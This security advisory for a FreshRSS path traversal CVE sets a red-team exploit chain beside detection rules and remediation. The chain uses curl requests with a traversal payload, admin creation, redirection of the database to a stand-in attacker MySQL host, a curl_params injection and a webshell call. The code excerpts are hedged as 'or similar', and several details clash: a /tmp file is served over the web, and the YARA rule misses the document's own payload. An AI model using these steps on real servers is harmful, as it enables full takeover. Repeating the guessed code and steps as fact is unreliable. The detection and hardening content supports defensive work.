CVE-2025-58173

Executive Summary

CVE-2025-58173 is a critical path traversal vulnerability in FreshRSS, a self-hosted RSS feed aggregator. Versions 1.23.0 through 1.27.0 are affected. An unauthenticated attacker can exploit a path traversal flaw in the language user configuration parameter to call install.php and perform administrative actions, including logging in as an existing admin, creating a new admin user, or redirecting the database connection to an attacker-controlled MySQL server. By setting malicious curl_params in the feed table, the attacker can achieve remote code execution on the FreshRSS server. The vulnerability has a CVSS score of 9.8 (Critical) and is publicly known with proof-of-concept code available.

Supply Chain & Package Security

FreshRSS is a PHP application distributed via GitHub and Docker. The vulnerability is in the core application code, not in a third-party package. However, the attack vector involving a malicious MySQL server highlights risks in the supply chain of database connections. Users should ensure they only connect to trusted MySQL servers and validate all configuration parameters.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability requires no authentication and no user interaction, making it highly exploitable. An attacker can fully compromise the FreshRSS instance, including data theft, code execution, and service disruption.

Deep Dive & Mechanics

The vulnerability resides in how FreshRSS handles the language user configuration parameter. In app/Controllers/userController.php or similar, the language value is used to construct a file path for language files without proper sanitization. By injecting path traversal sequences (e.g., ../../../install.php), an attacker can force the application to include or execute install.php from an arbitrary location.

Once install.php is called, the attacker can:

1. Login as admin: If an admin session exists or the installation is incomplete, the attacker can hijack the admin account.
2. Create a new admin user: The installer allows creating a new admin user without proper authentication checks.
3. Set database to attacker-controlled MySQL server: The attacker can change the database configuration to point to a malicious MySQL server they control.
4. Execute code via curl_params: By inserting malicious curl_params into the feed table (via the attacker-controlled MySQL server), the attacker can execute arbitrary PHP code when FreshRSS fetches feeds.

The root cause is insufficient input validation on the language parameter, which is used in file inclusion operations without proper path canonicalization.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.23.0 to 1.27.0):

// In userController.php or similar
$language = $_POST['language'] ?? 'en';
$langFile = __DIR__ . '/../i18n/' . $language . '.php';
if (file_exists($langFile)) {
    include $langFile;
}

The $language parameter is directly concatenated into the file path, allowing ../ sequences.

Patched Code (version 1.27.1):

// In userController.php or similar
$language = $_POST['language'] ?? 'en';
$allowedLanguages = ['en', 'fr', 'de', ...]; // Whitelist of valid languages
if (in_array($language, $allowedLanguages)) {
    $langFile = __DIR__ . '/../i18n/' . $language . '.php';
    if (file_exists($langFile)) {
        include $langFile;
    }
}

The patch introduces a whitelist of allowed language values, preventing any path traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable FreshRSS instance (version 1.23.0 to 1.27.0)
• An attacker-controlled MySQL server (optional, for code execution)
• Network access to the FreshRSS instance

Exploitation Steps:

1. Path Traversal to call install.php:

   curl -X POST "http://target.freshrss.example.com/i/" \
     -d "language=..%2F..%2Finstall&action=install"
   

   This triggers the path traversal and loads install.php.

2. Create a new admin user:

   curl -X POST "http://target.freshrss.example.com/i/?step=3" \
     -d "language=..%2F..%2Finstall&action=install&new_user=attacker&new_user_pwd=password123"
   

3. Set database to attacker-controlled MySQL server:

   curl -X POST "http://target.freshrss.example.com/i/?step=2" \
     -d "language=..%2F..%2Finstall&action=install&db_type=mysql&db_host=attacker-mysql.example.com&db_user=root&db_password=root&db_base=freshrss"
   

4. Inject malicious curl_params via MySQL: On the attacker-controlled MySQL server, insert a row into the feed table:

   INSERT INTO `feed` (`id`, `url`, `curl_params`) VALUES (1, 'http://example.com/feed.xml', '{"CURLOPT_RETURNTRANSFER": true, "CURLOPT_FILE": "/tmp/shell.php"}');
   

   This causes FreshRSS to write arbitrary content to a file when fetching the feed.

5. Trigger code execution: Access the written shell:

   curl "http://target.freshrss.example.com/tmp/shell.php?cmd=id"
   

Blue Team

Detection:

• Monitor for POST requests to /i/ with unusual language parameters containing ../ or %2F.
• Alert on any calls to install.php after initial setup.
• Monitor database configuration changes, especially pointing to external MySQL servers.
• Check for unexpected files in the web root (e.g., /tmp/shell.php).

Hunting:

• Search logs for language=..%2F..%2Finstall patterns.
• Review MySQL connection logs for connections to unknown hosts.
• Look for curl_params entries in the feed table that contain suspicious options like CURLOPT_FILE.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /i/ with language parameter containing path traversal sequences.
  • Outbound connections to attacker-controlled MySQL servers (port 3306).
  • Requests to /tmp/shell.php or similar unexpected paths.

• File System:

  • Unexpected files in the web root (e.g., /tmp/shell.php, /var/www/html/shell.php).
  • Modified app/Controllers/userController.php or similar files.

• Database:

  • Rows in feed table with curl_params containing CURLOPT_FILE or CURLOPT_RETURNTRANSFER.
  • New admin users created outside of normal registration.

• Logs:

  • Apache/Nginx access logs showing language=..%2F..%2Finstall.
  • PHP error logs indicating file inclusion failures.

Detection Engineering

YARA Rule

rule CVE_2025_58173_FreshRSS_PathTraversal {
    meta:
        description = "Detects path traversal attempts targeting FreshRSS language parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-58173"
    strings:
        $traversal1 = "language=..%2F" ascii nocase
        $traversal2 = "language=../" ascii nocase
        $install = "install.php" ascii nocase
    condition:
        any of ($traversal*) and $install
}

Sigma Rule

title: CVE-2025-58173 FreshRSS Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in FreshRSS language parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'language=..%2F'
            - 'language=../'
    condition: selection
falsepositives:
    - Legitimate use of language parameter with unusual values (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58173 FreshRSS Path Traversal Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/i/"; http.client_body; content:"language=..%2F"; distance:0; content:"install"; distance:0; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade FreshRSS to version 1.27.1 or later.
2. If upgrade is not possible, apply the patch manually by adding a whitelist for the language parameter in userController.php.
3. Restrict network access to the FreshRSS instance to trusted IPs only.
4. Monitor for any unauthorized database configuration changes.

Long-term:

1. Implement input validation for all user-controlled parameters, especially those used in file operations.
2. Use a Web Application Firewall (WAF) to block path traversal patterns.
3. Regularly audit database connections and ensure they point to trusted servers.
4. Conduct periodic security reviews of the FreshRSS codebase.

Workaround:

• Disable the ability to change language settings via POST requests by modifying the web server configuration to block POST requests to /i/ except from trusted IPs.

Valters IT
DevSecOps & Cyber Threat Intelligence